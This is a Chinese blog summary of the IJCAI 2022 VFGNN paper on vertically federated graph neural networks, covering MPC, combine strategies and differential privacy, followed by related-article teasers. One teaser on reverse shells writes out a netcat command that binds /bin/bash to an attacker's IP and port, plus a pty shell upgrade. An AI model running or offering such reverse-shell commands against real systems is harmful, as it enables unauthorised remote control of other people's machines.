【论文导读】-Vertically Federated Graph Neural Network for Privacy-Preserving Node Classification纵向联邦图神经网络

文章目录

  • 论文信息
  • 摘要
  • 主要贡献
  • vertically federated GNN (VFGNN)
  • 执行过程
    • 1. 生成初始节点嵌入
    • 2. 生成局部节点嵌入
    • 3. 生成全局节点嵌入
    • 4. 采用DP增强隐私

论文信息

在这里插入图片描述

原文地址:https://www.ijcai.org/proceedings/2022/0272.pdf

摘要

Graph Neural Network (GNN) has achieved remarkable progresses in various real-world tasks on graph data, consisting of node features and the adjacent information between different nodes. High-performance GNN models always depend on both rich features and complete edge information in graph. However, such information could possibly be isolated by different data holders in practice, which is the so-called data isolation problem. To solve this problem, in this paper, we propose VFGNN, a federated GNN learning paradigm for privacy-preserving node classification task under data vertically partitioned setting, which can be generalized to existing GNN models. Specifically, we split the computation graph into two parts. We leave the private data (i.e., features, edges, and labels) related computations on data holders, and delegate the rest of computations to a semi-honest server. We also propose to apply differential privacy to prevent potential information leakage from the server. We conduct experiments on three benchmarks and the results demonstrate the effectiveness of VFGNN.

图神经网络( GNN )在图数据的各种实际任务中取得了显著的进展。高性能的GNN模型总是依赖于图中丰富的特征和完整的边信息。然而,在实践中,这些信息可能被不同的数据持有者所隔离,这就是所谓的数据隔离问题。为了解决这个问题,本文提出了垂直联合图神经网络( VFGNN ),这是一种在数据垂直分区的情况下用于隐私保护节点分类任务的联合GNN学习范式,可以推广到现有的GNN模型中。具体来说,我们将计算图形拆分为两部分。我们将私有数据(即特征、边缘和标签)相关的计算留给数据持有者,并将剩余的计算委托给半诚实的服务器。我们还提出应用差分隐私来防止来自服务器的潜在信息泄露。我们在三个基准测试集上进行了实验,结果证明了VFGNN的有效性。

主要贡献

  1. 提出了一种新的学习范式(VFGNN),它不仅可以推广到大多数现有的GNN,而且具有良好的精度和效率;
  2. 为服务器提出了不同的组合策略来组合来自数据持有者的本地节点嵌入;
  3. 在三个真实数据集上评估了该方案,结果表明了VFGNN的有效性。

vertically federated GNN (VFGNN)

  • 出于隐私考虑,将私有数据(节点特征、标签和边)相关的计算保留给数据持有者;
  • 出于效率考虑,我们将非私有数据相关的计算委托给半诚实的服务器。

将计算图划分为以下三个子计算图:
在这里插入图片描述

子图1:私有特征和边相关计算

利用节点的私有特征,如社交网络中的用户特征,生成初始节点嵌入。在垂直数据拆分设置中,每个数据持有者都具有局部节点特性。然后,数据持有者通过使用不同的聚集器函数聚集多跳邻居的信息来生成局部节点嵌入。
在这里插入图片描述
子图2:非私有数据相关的计算

将非私有数据相关的计算委托给一个半诚实的服务器以提高效率。首先,服务器将来自数据持有者的本地节点嵌入与不同的联合策略相结合,得到全局节点嵌入。接下来,服务器可以使用明文数据执行连续的计算。将这些明文计算委托给服务器不仅可以提高我们的模型精度,而且可以显著提高我们的模型效率。

在此之后,服务器得到一个最终的隐藏层并将其发送回具有标签的数据持有者来计算预测。

子图3:私有标签相关的计算

拥有标签的数据持有者使用从服务器接收到的最终隐藏层计算预测。

执行过程

  1. 数据持有者首先应用MPC(安全多方计算)技术利用私有节点特征信息协同计算GNN的初始层,以此作为特征抽取模块,然后单独使用私有边缘信息进行邻域聚合,最终得到局部节点嵌入。
  2. 为半诚实服务器提出了不同的组合策略来组合来自数据持有者的局部节点嵌入,并生成全局节点嵌入,基于此服务器可以进行连续的非私有数据相关计算。
  3. 服务器将最终的隐藏层返回给有标签的一方,该方将计算预测和损失。数据持有者和服务器执行正向和反向传播以完成模型训练和预测,在此期间,私有数据(即特征、边缘和标签)始终由数据持有者自己保存。
  4. 采用差分隐私,在服务器和数据持有者(例如,本地节点嵌入和渐变更新)之间交换信息,以进一步保护潜在的信息泄漏从服务器。

1. 生成初始节点嵌入

通过使用节点特性生成初始节点嵌入。在垂直划分的数据设置下,每个数据持有者具有部分节点特征。有两种方法供数据持有者生成初始节点嵌入,即单独和协作,如下图所示:
在这里插入图片描述

2. 生成局部节点嵌入

基于初始节点嵌入,通过在图上使用多跳邻域聚合来生成局部节点嵌入。需要注意的是,邻域聚合应该由数据持有者单独进行,而不是合作进行,以保护私有边缘信息。
在这里插入图片描述

3. 生成全局节点嵌入

服务器组合来自数据持有者的本地节点嵌入并获取全局节点嵌入。组合策略( COMBINE )应具有可训练性,并保持较高的表征能力,设计了3种组合策略:

  1. Concat
  2. Mean
  3. Regression

4. 采用DP增强隐私

数据持有者直接向服务器发送本地信息,例如前向传播过程中的本地节点嵌入和反向传播过程中的梯度更新,可能会导致潜在的信息泄漏,应用差分隐私来进一步增强隐私。
介绍了两种基于DP的数据发布机制,以进一步增强我们提出的VFGNN的隐私性。这样,当数据持有者的本地信息中存在单个条目修改时,服务器大概率无法区分修改前后的差异。提出了两种机制,即Gaussian Mechanism 和 James-Stein Estimator。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/160649.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

MySQL复习总结(一):基础篇

文章目录 一、MySQL概述二、SQL语句2.1 SQL分类2.2 DDL语言2.2.1 数据库操作2.2.2 表操作:通用2.2.3 表操作:修改2.2.4 表操作:删除 2.3 DML语言2.3.1 添加数据2.3.2 修改数据2.3.3 删除数据 2.4 DQL语言2.5 DCL语言 三、函数四、约束五、多表查询5.1 多表关系 六、事务6.1 事务…

Draft-P802.11be-D3.2协议学习__$9-Frame-Format__$9.3.1.22-Trigger-frame-format

Draft-P802.11be-D3.2协议学习__$9-Frame-Format__$9.3.1.22-Trigger-frame-format 9.3.1.22.1 Genreal9.3.1.22.2 Common Info field9.3.1.22.3 Special User Info field9.3.1.22.4 HE variant User Info field9.3.1.22.5 EHT variant User Info field9.3.1.22.6 Basic Trigge…

迷宫问题的对比实验研究

对不同的迷宫进行算法问题,分别采用栈、队列、基于红黑树的A*算法、以及图论中的最短路径来解决迷宫问题。 基本要求: (1) 从文件读入9*9的迷宫,设置入口和出口,分别采用以上方法,输出从入口到出…

pytorch+LSTM实现使用单参数预测,以及多参数预测(代码注释版)

开发前准备: 环境管理:Anaconda python: 3.8 显卡:NVIDIA3060 pytorch: 到官网选择conda版本,使用的是CUDA11.8 编译器: PyCharm 简述: 本次使用seaborn库中的flights数据集来做试验,我们通过…

(附源码)基于SSM 车险事故自助理赔小程序-计算机毕设 84607

车险事故自助理赔小程序 摘要 随着我国经济迅速发展,人们对手机的需求越来越大,各种手机软件也都在被广泛应用,但是对于手机进行数据信息管理,对于手机的各种软件也是备受用户的喜爱,车险事故自助理赔小程序被用户普遍…

tolua中table.remove怎么删除表中符合条件的数据

tolua中table.remove怎么删除表中符合条件的数据 介绍问题(错误方式删除数据)正确删除方案从后向前删除递归方式删除插入新表方式 拓展一下总结 介绍 在lua中删除表中符合条件的数据其实很简单,但是有一个顺序问题,因为lua的表中…

Cygwin一个在 Windows 操作系统上提供类似于Unix、Linux 环境的兼容层项目

一、简介 Cygwin 是一个在 Windows 操作系统上提供类似于 Unix/Linux 环境的兼容层的开源项目。它为 Windows 用户提供了一种在 Windows 平台上运行类 Unix 程序的方式。 Cygwin 提供了一组工具和库,包括一个动态链接库(cygwin1.dll)和一个用…

Stable Diffusion 的提示词使用技巧

推荐Stable Diffusion自动纹理工具: DreamTexture.js自动纹理化开发包 什么是提示语? 提示语是人工智能中的一个重要组成部分,尤其是自然语言处理 (NLP)。在AI自人工智能中,想要获得好的效果,简…

SpringBoot开发组件总结

大家好,今天学习了SpringBoot中间件开发,在学习后总结记录下。 在开发的过程中,把一些公共的非业务的代码提炼出来,做成一个公用的组件,减少开发成本和风险,今天学习的是一个白名单控制组件,记…

医疗数据可视化大屏:重构医疗决策的未来

医疗行业一直是信息密集型领域之一,它的复杂性不仅在于患者病历和医疗数据的海量积累,还包括了病情诊断、医疗资源分配、病患治疗等多层次的挑战。随着信息技术的不断发展,医疗数据可视化大屏成为了一种创新性的工具,它为医疗管理…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

Unity3D与iOS的交互 简单版开箱即用

本文适合的情况如下: Unity客户端人员 与 IOS端研发人员合作的情况 目录 From U3D to iOS 实现原理 1.unity工程目录创建2个文件 NativeCallProxy.m、NativeCallProxy.h 并且放到Unity工程目录Plugins/iOS/unity_ios_plus目录下 2.创建C#调用脚本 定义对应.mm脚…